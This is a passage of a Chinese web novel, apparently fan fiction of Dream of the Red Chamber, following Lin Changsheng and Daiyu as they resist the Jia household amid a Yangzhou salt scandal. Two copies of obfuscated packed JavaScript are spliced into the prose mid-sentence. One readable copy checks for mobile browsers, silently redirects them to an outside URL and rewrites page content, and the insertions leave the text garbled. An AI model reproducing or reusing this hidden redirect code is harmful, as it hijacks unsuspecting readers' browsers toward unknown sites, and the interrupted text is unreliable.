却说王熙凤回到荣国府,径直往王夫人房里去。 王夫人正和薛姨妈说话,见她进来,问道:“可见着了?怎么说?” “见是见着了,可那两位,如今是油盐不进。” 王熙凤坐下,端起茶喝了一口,方将方才情形说了,末了叹道,“林丫头那话,分明是知道了簪子的事也不知是哪个嘴碎的传出去的。” 薛姨妈脸色一白。 王夫人捻着佛珠,半晌方道:“知道了又如何?横竖是咱们家的东西,我赏谁,不赏谁,难道还要经过她?” “话不是这么说。” 王熙凤压低声音,“我冷眼瞧着,林家姐弟如今是铁了心要与咱们生分,长生那孩子年纪虽小心思却深。今日我提及设宴,他一句严先生让静心读书便挡回来了。还有林丫头,从前虽也孤高,却不像如今这般……” 她找了个词,“这般有主意。” “有主意?”王夫人冷笑,“不过是仗着有个出息的弟弟罢了,六岁的秀才,听着唬人,可这世上,伤仲永的还少么?” 薛姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“蹊跷的不止这一处。”王夫人闭了闭眼,“昨日我让周瑞家的去查咱们家在京里的几处铺子,你猜怎么着?有三处铺子的账本,去年年底就封存了,说是东家要查账。可那东家,根本就是子虚乌有!” 屋里一时死寂,窗外不知何时又下起了雨,渐渐沥沥的,敲在瓦上。 王熙凤只觉得浑身发冷,这两年贾府表面看着花团锦簇,可内里的亏空越来越大。 老太太的体己,怕是填进去不少了,王夫人掌着家,那些银子从哪里来,又往哪里去,她不是不知道,只是不敢深想。 如今林家姐弟这一闹,倒把一层遮羞布给掀开了。底下那些见不得光的东西都要露出来了。 “姨妈,”王熙凤声音干涩,“咱们如今该怎么办?” 王夫人睁开眼,眸底狠厉一闪而过:“怎么办?自然是该打点的打点,该了结的了结,林家那边,先放着,等宝钗的事定了,等元妃在宫里站稳了,再慢慢计较。” 薛姨妈连连点头,像是抓住救命稻草:“正是正是,宝丫头的事最要紧。只要她能入选,咱们就有指望了。” 王熙凤心里发苦。 入选?谈何容易,元妃在宫里尚且如履薄冰,宝钗一个商户之女,凭什么入选?凭薛家的银子?可那些银子如今还剩下多少? 雨越下越大,天色完全暗下来了,丫鬟进来点了灯,昏黄的灯光下,三个女人的脸色都晦暗不明。 而此时林宅里,长生正站在廊下看雨。 黛玉从屋里出来,给他披了件外衣。 “想什么呢?” “想国子监的事。”长生转头,看见黛玉眼里有关切,便笑道,“姐姐放心,我会小心的。” “我如何能放心?”黛玉轻叹,“那些王公贵胄的子弟,哪个是好相与的?你年纪小,又这般出挑,难免招人嫉恨。” 长生握住她的手,姐姐的手冰凉,他心疼不已。 “姐姐,从前咱们在扬州时,父亲常说什么?他说这世上最难的不是应付明枪,是防备暗箭。可再难的关,只要咱们姐弟齐心,总能闯过去。” 黛玉眼圈微红,别过脸去:“你就会说好听的。” 雨声中隐约传来更鼓声,二更了。 这一夜,京城许多人都没睡好。 荣国府里,王夫人对着账本坐到三更。 梨香院里,薛姨妈辗转反侧。 林宅书房,长生的灯一直亮到天明。 而皇城深处,元春从噩梦中惊醒,冷汗涔涔。 梦里,她站在一座高楼上,楼下是万丈深渊。 她回头,看见贾府、王府、薛家,一张张熟悉的脸,都在推她。 醒来时,枕畔冰凉。 外头值夜的宫女听见动静,轻声问:“娘娘,可要喝水?” 元春摇头,望着帐顶发呆。 前日夏守忠来传话,言语间透出圣上对四大家族的不满,尤其是王家、薛家在地方上太过张扬。 “娘娘,”夏守忠当时意味深长地说,“这宫里宫外,从来都是一体的,外头若是着了火,里头,难免要受烟熏。” 她懂。 所以这两日,她称病不出,躲在自己宫里。 可躲,又能躲到几时? 11. 入学国子监 晨钟敲过,国子监的朱红大门缓缓开启。 长生站在门外石狮旁,看着那些锦衣华服的少年郎陆续下轿,有紫衣玉带仆从簇拥的,想来是公侯子弟,有青衫素履、只带一书童的,许是清寒士子。 他今日穿的是月白直裰,头发用一根青玉簪绾着,在一众或富贵或倨傲的面孔里,显得格外素净。 “可是林长生林公子?” 一个穿褐色布衣、约莫十五六岁的少年走过来,作了一揖,他眉目清秀,衣裳虽是棉布,浆洗得极干净。 长生还礼:“正是在下,不知兄台是……” “学生陈景行,字子安,浙江绍兴人。” 少年说话带着些南边口音,“早闻林公子六岁中秀才,今日得见,实乃幸事。” 两人正说话,那边忽传来一阵喧哗。 几辆华盖马车驶来,当头一辆车上下来个锦衣少年,约莫十二三岁,眉目张扬,腰间佩着羊脂玉带钩,身后跟着四五个小厮。 “哟,这不是陈大才子么?”锦衣少年踱过来,目光在长生身上扫了扫,“这位是……” “这位是林长生林公子,今科顺天府第十九名。”陈景行介绍道,又转向长生,“这位是镇国公府牛清牛公子。” 牛清挑眉:“林长生?哦——就是那个六岁秀才,听说你姐姐是荣国府的外孙女?” 长生淡淡纠正道:“家姐姓林。” 牛清“嗤”了一声,也不深究,只对陈景行道:“陈兄,前日我让你作的那篇赋,可写好了?” 陈景行脸色微变,袖中的手紧了紧,仍维持着礼节:“牛公子,学生功课繁忙,实在无暇……” “忙?”牛清打断他,走近一步,声音压低了些,“陈兄,你父亲在绍兴任上那点事要不要我提醒提醒你?” 陈景行脸白了。 长生在旁边听着,心里明白了几分,国子监里这些勋贵子弟,常让那些家境清寒但有才学的监生代笔作课业,陈景行便是被盯上了。 “牛公子,”长生开口,声音不大,却让两人都看过来,“学生初来乍到,有件事不明,想请教。” 牛清斜睨他:“何事?” “国子监规条,凡请人代笔、剽窃课业者,一经查实,轻则除名,重则革去功名,永不录用。” 长生看着牛清,“学生年纪小,记性却好。这条规矩,牛公子想必是知道的?” 牛清脸色一变。 他盯着长生,要发作,可对上那双眼睛,竟莫名有些发怵,半晌,他冷哼一声:“好,好,林长生,我记住你了。” 说罢,拂袖而去。 陈景行松了口气,看向长生的眼神里多了几分感激:“林公子,方才多谢了,只是你初来就为在下得罪牛清,他父亲是镇国公,伯父是京营指挥使,只怕……” “陈兄不必挂怀。”长生道,“我既见了便不能装看不见。再说,他若真敢如何,国子监的规矩摆在那里。” 话虽如此,陈景行还是忧心忡忡。 两人说话间进了监门,里头已有博士在点名。 今日授课的是国子监司业周文渊,讲的正是《孟子·离娄上》。 周文渊看见长生,只微微点头,并不特别对待。 倒是座中不少监生都投来好奇的目光——六岁秀才的名头,实在太过响亮。 课讲了一半,外头忽有书吏匆匆进来,在周文渊耳边低语几句。 周文渊面色不变,只道:“今日先讲到这里,余下时间,诸位可自去藏书楼温书,或在此切磋。” 说罢,他起身离开,脚步比平时快了些。 长生心里一动。 周文渊素来稳重,这般急切,定是出了什么事。 下学后,长生正要出监,却被陈景行叫住:“林公子,若不嫌弃可否移步一叙?前头有家茶馆,清静。” 长生想了想,点头应了。 两人出了国子监,往西走了一射之地,果然有家“清茗轩”,店面不大,里头只摆着四五张桌子,倒是窗明几净。 掌柜的是个五十来岁的老者,见陈景行来,笑着招呼:“陈公子来了,还是老位置?” 看来陈景行是常客。 两人在靠窗的桌边坐下。 陈景行要了一壶龙井,两碟点心,等茶上来,他才低声道:“林公子可知,今日周大人为何匆匆离去?” 长生摇头。 “我方才听人说,”陈景行声音更低了,“是扬州那边出事了。盐务上查出一桩大案,牵扯到好几位朝中大员。圣上震怒,已下旨彻查。” 长生心头一跳,父亲…… “具体情形还不清楚,”陈景行顿了顿,“听说林如海林大人,是主查官员之一。” 茶盏在长生手里晃了晃,几滴茶水洒在手背上,烫得他微微一颤。 “林公子?”陈景行察觉他神色不对。 “无妨。”长生放下茶盏,稳了稳心神,“家父在扬州为官,盐务本就是分内事,查案,也是应当的。” 话虽如此,他心里却揪紧了,前世父亲便是因盐务劳累过度再加上得罪太多人,最终……这一世虽有防备,可若真牵扯到朝中大员,只怕凶险更甚。 “林公子不必太过忧心,”陈景行宽慰道,“林大人清正廉明朝野皆知,我听说此事怕是有更大的牵扯。” “哦?” 陈景行四下看了看,确定无人注意,才用几乎听不见的声音说:“我父亲在绍兴为官时,曾与一位姓王的盐商打过交道,那盐商酒后失言,说他在京中有靠山,是宫里的贵人,当时只当是醉话,可如今想来……” 宫里。 长生握紧了茶盏,又是宫里。 “那盐商后来如何了?” “死了。”陈景行声音低沉,“说是失足落水,可他那日分明是要上京告状的,身上带着账本说要告御状。” 账本。 长生想起沈砚给的那些票根。 若那盐商手里也有账本,又牵扯到宫里人,那他父亲如今查的,恐怕不只是盐务亏空那么简单。 “陈兄,”长生抬眼,“令尊如今……” “家父已致仕还乡。”陈景行苦笑,“那事后家父便告了病,好在还有些同年故旧照应,这才让我进国子监读书,牛清不知从何处打听到这些,便时常来要挟。” 原来如此。 长生沉吟片刻,道:“陈兄,牛清那边你暂且敷衍着,我观他今日神色,未必真敢如何。倒是扬州之事,若陈兄再有消息,还望告知一二。” “这是自然。”陈景行郑重道,“林公子今日援手之恩,景行没齿难忘。” 两人又说了会子话,见天色不早,便各自散去。 长生回到林宅时,天色已擦黑,黛玉正在花厅里等他,桌上摆着饭菜,还冒着热气。 “怎的这么晚?”黛玉起身,打量他脸色,“可是在监里受了委屈?” “没有。”长生在桌边坐下,接过香菱递来的热毛巾擦了手,“认识了一位同窗,多说了几句。” 黛玉这才坐下,让香菱盛饭,她今日精神似好些,吃了小半碗粳米饭,又喝了几口汤。 长生看着她,心里那些焦躁渐渐平复了。 饭后,姐弟二人在廊下散步。 春夜的风还有些凉,香菱拿了斗篷来给黛玉披上。 “长生,”黛玉忽然道,“今日沈大人来过了。” 长生脚步一顿。 “他说父亲在扬州一切安好,让你不必挂心。” 黛玉转头看他,月光下,她的眼睛清亮如星,“可我看沈大人神色,不像全无事的样子,你实话告诉我,是不是出事了?” 长生知道瞒不过,便将陈景行的话拣要紧的说了。 黛玉听着,脸色渐渐发白。 “宫里……”她喃喃道,“怎么会牵扯到宫里?” “姐姐莫怕。”长生握住她的手,“父亲既让沈大人带话定是早有准备,且周大人、沈大人都站在父亲这边,不会有事的。” 这话既是安慰黛玉,也是安慰自己。 黛玉低头,看着两人交握的手。 她的手冰凉,长生的手温热。 “长生,”她轻声道,“若真有事,你答应我,别瞒我,咱们是亲姐弟,天大的事,也该一起扛着。” 长生喉咙发紧,重重点头。 而在荣国府,王夫人房里也亮着灯。贾政刚从外头回来,脸色铁青。 “老爷,怎么了?”王夫人迎上去。 贾政不说话,只将一封信摔在桌上。 王夫人拿起一看,是王子腾的笔迹。 信上说,扬州盐案已惊动圣听,主查的正是林如海,且查案过程中,牵扯出几家与贾、王两家有来往的盐商。 “这、这如何是好?”王夫人手抖得拿不住信纸。 “如何是好?”贾政冷笑,“你当初让薛家那些生意挂在贾府名下时,可想过今日?” 王夫人跌坐在椅子上,脸色煞白。 贾政在屋里踱了几步,忽地站定:“明日,你亲自去林家一趟。” “去林家?” “带上厚礼,好言好语,把黛玉接回来住。”贾政盯着她,“林如海再铁面无私,总不会不顾自己亲生女儿,只要黛玉在咱们府里,他便要掂量掂量。” 王夫人嘴唇动了动,想说什么,终是咽了回去,只低声道:“只怕林丫头不肯。” “不肯?”贾政声音发冷,“她一个未出阁的姑娘家,独自带着弟弟住在外面,成何体统?你以长辈的身份去接,她若不肯,便是忤逆不孝。这话传出去,她还要不要名声?林如海还要不要脸面?” 王夫人明白了,这是要用名声逼黛玉就范。 “可、可长生那孩子……” “他一个六岁孩童,能如何?”贾政摆手,“你只管去,多带些人手,若他们执意不肯,便说老太太病重,想念外孙女,让黛玉去侍疾,这话说到天边去,也是咱们占理。” 王夫人心定了定,点头应下。 贾政又道:“薛家那边,你让姨妈管好薛蟠,这些日子少出门。他那桩人命案子,虽用银子摆平了,可若被人翻出来,便是雪上加霜。” “是。” “去吧。”贾政疲惫地挥挥手,“我累了。” 王夫人退出来,站在廊下,看着沉沉夜色,心里一阵阵发慌,心里愈发确定贾政这是急了,若不是情势危急,他不会用这种手段。 可事到如今,还有别的路么? 她想起白日里凤姐说的话:“林家姐弟如今是铁了心要与咱们生分。” 铁了心?那便看看是他们的心硬,还是贾府的手段硬。 次日一早,王夫人果然带着人往林宅去了。 四辆马车,二十来个仆妇,浩浩荡荡停在林宅门口,周瑞家的上前敲门,半晌,门开了条缝,露出林忠苍老的脸。 “哟,周姐姐,这是……” “太太亲自来接林姑娘回府。”周瑞家的笑道,“老太太身子不适,想念外孙女,让林姑娘过去侍疾呢。” 林忠为难道:“少爷和姑娘还没起,容老奴去通传一声。” “不必了。”王夫人的声音从马车里传 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“不是不肯,是不能。” 长生声音阴阳怪气,可脸上却是笑着,“姐姐的病是桂树下埋毒落下的根,大夫说了,需好生将养三年五载方能痊愈,若此时挪动,万一有个闪失,长生担待不起,姨妈怕也担待不起。” 提到“桂树下埋毒”,王夫人脸白了白,强笑道:“那都是误会,早说清楚了,如今你外祖母病着,就想见见外孙女,这要求不过分吧?” “不过分。”长生道,“这样,我这就去请严大夫,若他说姐姐可以出门,长生绝不阻拦,若他说不能,那便请外祖母好生养病,等姐姐大好了,再去请安。” 王夫人一口气堵在胸口。 请严朴? 谁不知道严朴是沈砚荐来的,定是帮着林家说话。 “长生,”她声音冷下来,“你年纪小,不懂事,你姐姐一个未出阁的姑娘,长期住在外面,名声不好听。回贾府,有长辈照应,有姐妹相伴,才是正理。” “姨妈说的是。”长生点头,“只是父亲离京前交代了,让我好生照顾姐姐,父亲的话,长生不敢不从。若姨妈觉得不妥,可修书去扬州问父亲的意思,只要父亲点头,长生立刻送姐姐过府。” 王夫人气得手抖。 修书去扬州?等信来回,黄花菜都凉了。 “你、你这是要忤逆长辈?” “长生不敢。”长生躬身,“长生只是遵父命,护幼姐,若这也是错,那长生认了。” 两人正僵持着,里头传来黛玉的声音:“长生,外头是谁?” 帘子一挑,黛玉走了出来,她今日面色有些苍白,可眼神清明,不见半点病容。 “舅妈。”她行礼。 王夫人忙换上慈和的笑容:“好孩子,你可出来了,你外祖母病了,想你想得紧,跟我回去住几日,可好?” 黛玉抬眼,静静看着王夫人。那目光太过清澈,倒让王夫人有些心虚。 “外祖母病了,黛玉本该侍奉床前。”黛玉轻声道,“只是黛玉自己也病着,怕过了病气。不如这样,我每日早晚在佛前为外祖母诵经祈福,再让长生每日过府请安,代我尽孝。如此,可好?” 这话说得周全,可意思明白:不去。 王夫人脸上的笑挂不住了:“黛玉,你一个姑娘家,总要为将来着想,这般住在外面,名声坏了,将来……” “将来如何?”黛玉接口,声音依旧轻柔,“黛玉的将来自有父亲做主,父亲让黛玉与长生在京中静心读书养病,黛玉便听父亲的。至于名声,清者自清,浊者自浊,若有人要说闲话,便由他们说去。” 说罢,她微微一福:“舅妈若没别的事,便请回吧,黛玉还要喝药,不多陪了。” 转身,进了屋。 王夫人站在那儿,脸上青一阵白一阵她带了这么多人来,原想若林家姐弟不肯,便硬接也要接回去。 可如今长生站在那儿,明明只是个孩子,可那眼神,那气势,竟让她不敢妄动。 周瑞家的凑过来,低声道:“太太,要不……” “回府。”王夫人从牙缝里挤出两个字。 她转身往外走,脚步有些踉跄,来时那浩浩荡荡的气势,此刻全散了。 马车驶离林宅,王夫人靠在车厢里。 林宅里,长生站在廊下,看着马车远去,袖中的手才慢慢松开,手心全是汗。 “少爷,”林忠走过来,低声道,“老奴看王夫人那脸色,怕是不会罢休。” “我知道。”长生道,“你去告诉沈府和严先生,就说今日之事,请他们心里有数。” “是。” 长生转身回屋。 黛玉坐在窗下,手里拿着本书,可眼睛却没在书上。 “姐姐,”长生走过去,轻声道,“方才……” “你不必说。”黛玉抬眼,眼里有淡淡的水光,却带着笑,“我都听见了,你说得对,咱们听父亲的,父亲让咱们在京中好好过,咱们便好好过。” 长生在她身边坐下。 姐弟二人一时无话,只听着窗外风吹竹叶的沙沙声。 过了许久,黛玉轻声道:“长生,你说父亲在扬州,会不会有危险?” 长生握了握拳,又松开。 “不会。”他说,“父亲是朝廷命官,为朝廷办事,不会有危险,且周大人、沈大人都会照应,姐姐放心。” 黛玉点头,眼里的忧色未散。 12. 林长生拜访贾府 三月初三,上巳节。 京城家家户户门前插柳,少女们结伴往水边祓禊,林长生却在这日让林忠备了车,往荣国府去。 黛玉倚在门边看他上车,终究叮嘱一句:“若见着宝玉,莫要与他费争执。” 长生回身一笑:“姐姐放心,我省得。” 马车驶出巷口,穿过热闹的街市,长生掀帘看去,见沿街女子鬓边都簪着新柳,笑语声混着卖花声。 他心里想着昨日陈景行的话,扬州盐案已牵扯出工部一位郎中,正是贾政下属,这风声一透,荣国府该是坐不住了。 昨日陈景行悄悄来寻他,说那王姓盐商死前曾托人带出半本账册,如今在甄士隐手中。 甄士隐与贾府原是旧识,若要寻人,或可从贾府打听。 马车在荣国府西角门停下,门前车马比往日稀疏,连那几个惯常在门口说笑的豪奴也不见了,只留两个老门房。 周瑞早已候着,见他来了忙上前:“表少爷来了,老太太念叨好几日了。” 长生递过备的礼,两匣上等阿胶,几样扬州土仪,周瑞接过,引他往里走。 穿过垂花门,绕过影壁,便是贾母院,院里那株老海棠开得正盛,粉白花瓣落了满地。 几个小丫头在扫花,见长生来都停下偷瞧。 长生目不斜视,跟着周瑞进了正房。 屋里药气混着檀香,贾母半靠在榻上,额勒抹额,脸色有些灰败。 “给外祖母请安。”长生行礼。 贾母睁开眼,看了他半晌,方道:“起来吧。你姐姐可好?” “劳外祖母挂心,姐姐身子好些,只是大夫说宜静养,故不能来请安。”长生说得恭谨,“姐姐让长生代她问安,愿外祖母早日康复。” 贾母叹了口气,示意他坐。 鸳鸯端茶来,长生接过捧着。 “你父亲在扬州,可有信来?” “前日有家书到,说一切安好,让外祖母不必挂念。” 贾母点点头,沉默片刻,道:“长生,你今年六岁了?” “是。” “六岁中秀才,是好事。”贾母看着他,眼神复杂,“可也要懂得藏拙,这世上的事不是光有才学就够的,木秀于林,风必摧之,这道理你该懂。” 长生垂眸:“外祖母教诲,长生记下了。” “记下便好。”贾母声音轻了些,“你姐姐性子孤高,你年纪又小,在京中无长辈照应,终究不是长久之计,前日你舅妈去接也是一片好心,你们姐弟……” “外祖母,”长生抬起眼,目光清澈,“父亲离京前交代,让长生好生照顾姐姐,静心读书,父亲的话,长生不敢不从。姐姐在自家宅子里,有严先生教导,有仆妇伺候,并无不妥。若回了府,反倒要给外祖母、舅妈添麻烦。” 同样的话术又捯饬了一遍,说得委婉意思明白。 贾母脸色沉了沉,却不好发作,只道:“你倒是个孝顺的,只是你父亲远在扬州,未必知京中情形,有些事,你们小孩子家不懂。” “是。”长生应道,不再多言。 屋里一时静了。 外头隐约传来笑语声,是园子里的姑娘们在玩。 贾母听着那声音,神色稍缓,对长生道:“今日上巳,园子里设了流觞宴,你也去瞧瞧?你们年纪相仿,正该一处说说话。” 长生正要推辞,帘子一挑,探春、惜春先进来,后头跟着宝玉、宝钗,再后是迎春、李纨并几个丫鬟。 原来她们在园子里玩,听说长生来了便过来见礼。 长生起身与众人见礼,目光扫过,见宝玉穿着簇新银红袄子,颈挂通灵宝玉,正偷眼瞧他。 两人目光一碰,宝玉下意识整了整衣襟,又理了理头发,那模样倒像蒙童见先生。 探春笑道:“长生表弟如今是秀才公,气度越发好了,方才我们在园子里作诗,还说起你,说若你在,定能夺魁。” 长生淡淡道:“三姐姐过誉。长生年幼,不过识得几个字,哪里会作诗。” 惜春心直口快:“林表弟别谦,我们都听说了,你府试那篇文章,连国子监博士都夸呢。” 众人说笑着落座,宝玉挨贾母坐下,眼睛仍不时瞟向长生,自那日荣庆堂摔杯后,他再没见过这表弟,如今见长生神色淡然举止从容,心里又是羡慕又是惭愧,还有几分说不清的畏。 宝钗坐在李纨下首,今日穿着蜜合色绣折枝梅袄裙,颈挂金璎珞圈,端庄娴静,她静静听众人说话,偶尔抬眼看看长生,目光平和,心思活络。 贾母道:“长生难得来,就在这儿用午饭罢,凤丫头,让厨房添菜。” 王熙凤应了要出去,长生却道:“外祖母不必费心,长生坐坐便走,严先生今要查功课,不敢耽搁。” 贾母脸色微沉,也不好强留:“既如此便罢,只是你姐姐独自在家,也该早些回去。” “是。” 又说一会子话,长生起身告辞。 贾母让宝玉、探春送。 出了贾母院,长生对二人道:“二位留步,长生认得路。” 探春还要送,宝玉道:“三妹妹先回罢,我送送长生表弟。” 探春看看二人,点头去了。 长生与宝玉并肩走在游廊,春日阳光透过雕花窗格,在地上投出斑驳光影。 两人一时无话,只听脚步声沙沙。 走到穿堂前,宝玉停下,低声道:“长生表弟,那日是我唐突了,这些日子,我时常后悔。” 长生转头看他,宝玉脸上有愧色,眼神真诚。 “宝二爷言重。”长生不为所动,“过去的事,不必再提。” “我知道林妹妹生我的气。”宝玉急道,“你能不能替我跟她说说,我日后定不会那般轻浮了,我如今每日读书,父亲前日还夸我有进益……” “宝二爷,”长生打断他,“姐姐的事,我做不得主。她若愿见你,自然会见,若不愿,我说也无用。” 听到这个生疏称呼,宝玉眼神黯淡,半晌低声道:“我明白了。” 长生不再多言,转身要走,却听宝玉又道:“长生表弟,你在国子监可还顺心?若有难处,只管告诉我,我在监里也有几个相识……” “多谢,不必。”长生顿了顿,“宝二爷可听说过甄士隐此人?” 宝玉一愣:“甄士隐?听着耳熟……哦,是听父亲提过,说是位乡宦,前些年女儿丢了,便出家去了。你问他作什么?” “偶然听得此人有些才学,故打听一句,你可知他在何处出家?” 宝玉摇头:“这却不知,不过父亲或许知道,你可要我去问?” “不必了。”长生道,“随口一问。” 说话间已到二门,长生告辞出去,上了马车。 车帘放下,他靠在车厢里闭目。 今日这一趟不算白来,他看清了几件事: 贾母确在病中,但依旧话多啰嗦不忘敲打他,贾府众人沉浸欢愉不知大厦将倾,而这个宝玉对姐姐仍有执念妄念,但对自己已生畏,至于而甄士隐下落,贾政或许知情。 正想着,马车忽然停了。 外头林忠道:“少爷,前头是薛家的车,路窄过不去。” ?也是赶巧。 长生掀帘看去,见对面一辆翠盖珠缨车停在路中。车帘掀起,露出薛宝钗沉静的脸。 “林公子。”她微微颔首。 长生下车拱手:“薛姑娘。” 宝钗也下车,她今日显然是出门赴约,打扮得精致,穿着缕金百蝶穿花大红缎袄,下着翡翠撒花洋绉裙,鬓边簪着点翠步摇,行动间光华流转。 两人站在巷中,春日阳光洒下,将影子拉得细长。 “林公子这是从府里出来?”宝钗明知故问。 “是,探望外祖母。” 宝钗点头,目光在长生身上停了停,方道:“前日听姨妈说起林公子府试文章,连我哥哥看了都说是好,我虽不懂文章,却也知六岁中秀才是极难得的。” 长生道:“薛姑娘过奖,不过是侥幸。” “不是侥幸。”宝钗声音温和,“林公子每日苦读到深夜,这份勤勉便是许多成人也不及的,古人云天道酬勤,原是不错的。” 她说话时目光清亮,语气真诚,确是欣赏之意。 长生想起前世所知,这位薛姑娘最是稳重懂事,看人看事通透,如今看来,名不虚传。 “薛姑娘今日是出门赴约?”长生问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16886373|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是,母亲让我出去一趟。”宝钗停顿片刻道,“林公子若得闲,不妨常来府里坐坐。府里几位妹妹都夸你学问好,若能得你指点一二,是她们的福气。” 这话说得周到,既全了礼数,又透着亲近。 长生知她是好意,便道:“薛姑娘客气了,诸位姐姐妹妹才学胜我百倍,长生不敢当。” 宝钗微微一笑,不再多言,只道:“那我先告辞了。林公子慢行。” 说罢转身上车,莺儿扶她时,她回头又看了长生一眼,那目光里有些复杂意味,却很快掩去了。 马车驶过,带起一阵香风,长生站在原地,看着那车远去,宝钗方才的神态他倒是看了个仔细。 是惋惜?是感慨?他说不清。 回到林宅,已是午时,黛玉在花厅等他,桌上摆着饭菜。 “如何?”黛玉问。 长生将今日情形说了,略过宝玉那段,只提贾母的病和偶遇宝钗。 黛玉静静听着,末了道:“薛姑娘那话,倒是客气。” “确是客气,”长生道,“她说话行事,处处周到,难怪府里上下都夸。” 黛玉看了他一眼,低头吃饭,不再说话。 饭后,严朴来了。 长生将打听甄士隐的事说了,严朴捋须沉吟半晌,方道:“甄士隐?此人我倒是知道。” 长生精神一振:“先生知道他?” “三年前,我在京郊玄墓山采药遇见过一位道长,便是甄士隐。”严朴道,“那时他刚出家不久,神容憔悴,我与他说过几句话,知他是个读书人,便多聊了几句,他说此生已无牵挂,只求清静。” “他如今还在玄墓山?” “去年我去时,他还在,”严朴看着长生,“你要找他?” 长生沉默片刻,道:“学生听说,甄先生手中或有一样东西,与扬州盐案有关,若得此物,或可助父亲一臂之力。” 严朴神色肃然:“此事非同小可,甄士隐既已出家,未必愿再涉尘事,且那东西若真要紧,怕已有人盯着他。” “学生明白。”长生道,“故而想请先生相助,寻个妥当法子,见甄先生一面。” 严朴沉吟良久,方道:“再过半月是玄墓山香市。那时人多,或可掩人耳目。只是需万分谨慎,若让人察觉,恐生变故。” “学生省得。” 严朴又交代几句,起身离去,走到门口忽回头道 “长生,你父亲前日有信来,让我转告你一句话。” “先生请讲。” “他说,世事如棋,落子无悔。” 长生怔了怔,重重点头:“学生记下了。” 送走严朴,长生回到书房,窗外日影西斜,他坐在书案前,铺纸研墨,想写些什么,却久久未落笔。 父亲那八字,他懂。是说既已选了这条路,便只能走下去。 正想着,外头传来香菱声音:“少爷,姑娘让送点心来了。” 长生回神:“进来。” 香菱端着红漆托盘进来,上头是一碟藕粉桂花糖糕,一壶热茶,她将东西放桌上,却不走,站在那儿欲言又止。 “有事?”长生问。 香菱绞着衣角,低声道:“少爷,我前日做了个梦。” “什么梦?” “梦见我小时候在个园子里,有好多花,有个妇人抱着我,叫我英莲。”香菱声音发颤,“我醒来,总觉得这名字耳熟,可想不起在哪听过,少爷您说,这梦是真的么?” 长生没表态,英莲,正是甄士隐女儿的名字。 假亦真时真亦假,从前种种若有挂念自然会想起,林长生身为局中人,不能立即点醒。 “许是日有所思,夜有所梦。”他温声道,“你如今在姐姐身边过得安稳,从前事再慢慢想,不急。” 香菱点头,退出去,轻轻带上门。 长生看着那碟糖糕,忽然没了胃口。 甄士隐的女儿就在府里,而他要去找甄士隐。 若真找到了,香菱的身世大白,是喜是悲? 若那账册真在甄士隐手中,又该如何取来? 取来了,父亲在扬州,是福是祸? 一连串问题,没有答案。 13. 贾雨村说客 三月初八,微雨。 林宅檐下挂了新糊的纱灯,雨丝斜斜打在灯罩上。 长生在书房里临帖,临的是欧阳询的《九成宫》,严朴说他笔力渐稳,只是锋芒太露,需学着收敛些。 正写着,外头林忠来报:“少爷,外头有位贾老爷求见,说是姑娘的旧师。” 长生笔尖一顿,贾雨村。 他搁下笔,心里飞快转着念头。前世此人靠着林如海提携起复,又攀附贾府,最后反咬一口,是个十足的势利小人。如今他突然登门,定是为贾府当说客来了。 “请到前厅奉茶,我这就来。”长生起身,换了件见客的衣裳,又将那方父亲送的端砚摆在书案显眼处,这才往前厅去。 贾雨村已在前厅坐着,捧着茶盏打量四周。 他今日穿着半新不旧的官服,想是刚从衙门过来,见长生进来,忙起身笑道:“这位便是长生世兄了?果然一表人才,不愧是如海公的公子。” 长生行礼:“贾大人客气,大人是家姐旧师,当是长辈,唤我长生便是。” 两人分宾主坐下。 贾雨村又说了些客套话,无非是夸长生年少有为,又问候林如海安好,长生一一应了,等着他入正题。 果然,寒暄过后,贾雨村话锋一转:“说来惭愧,雨村当年蒙如海公提携,方能起复,此恩此德,没齿难忘,只是这些年宦海浮沉,竟未能好生报答,实是愧疚。” 长生道:“大人言重,家父常说为朝廷举荐贤才是分内之事,大人这些年勤勉为官,便是对家父最好的报答。” 贾雨村脸上笑容深了些:“世兄这话,让雨村更是惭愧,说来雨村与府上缘分不浅,当年在扬州,曾有幸教导令姊一二。令姊天资聪颖,过目成诵,雨村至今记忆犹新。” “家姐也常提起大人,说大人学问渊博,教导有方。” 这话半真半假,姐姐确实提过贾雨村,但多是说他授课严厉,并无多少亲近之意。 贾雨村叹道:“令姊如今可好?雨村听说她身子不大爽利,一直惦念,本想去荣国府探望又怕唐突。今日冒昧登门,也是想问问令姊近况。” 来了。长生心里冷笑,面上不动声色:“劳大人挂心,家姐近来好些了,只是仍需静养。严大夫说了,这病最忌劳神,需好生将养一二年方有望痊愈。” “是该好生将养,”贾雨村点头,放下茶盏,语气更恳切了几分,“只是雨村有句话,不知当讲不当讲。” “大人请讲。” “令姊如今独自带着世兄在京,虽说有仆妇伺候,有严先生教导,终究、终究少了长辈照应。” 贾雨村看着长生,一脸诚恳,“荣国府老太太是令姊嫡亲外祖母,府里太太、奶奶们也都是至亲,世兄年纪小,或许不知这京中人事复杂,一个未出阁的姑娘家独居在外,难免惹人闲话,若回了荣国府,有长辈庇护,有姐妹相伴,岂不两全?” 长生静静听着,等他说完,方道:“大人这话,是为家姐着想,长生明白,只是父命不可违,还请大人体谅。” 贾雨村忙道:“世兄误会了,如海公是明理之人,若知令姊在京处境,定也会赞同她回府的,再者老太太年事已高,近来又染病在身,最是想念外孙女,老人家一片慈心,世兄忍心辜负么?” 这话说得动情,若换个不知情的,怕真要心软,可这贾母那病三分真七分假,不过是拿捏人的由头。 “大人的意思,长生懂了。”长生抬眼,“只是长生有一事不明,想请教大人。” “世兄请说。” “大人方才说,家父对大人有提携之恩,可是真的?” 贾雨村一愣:“这自然是真的,如海公大恩,雨村铭记于心。” 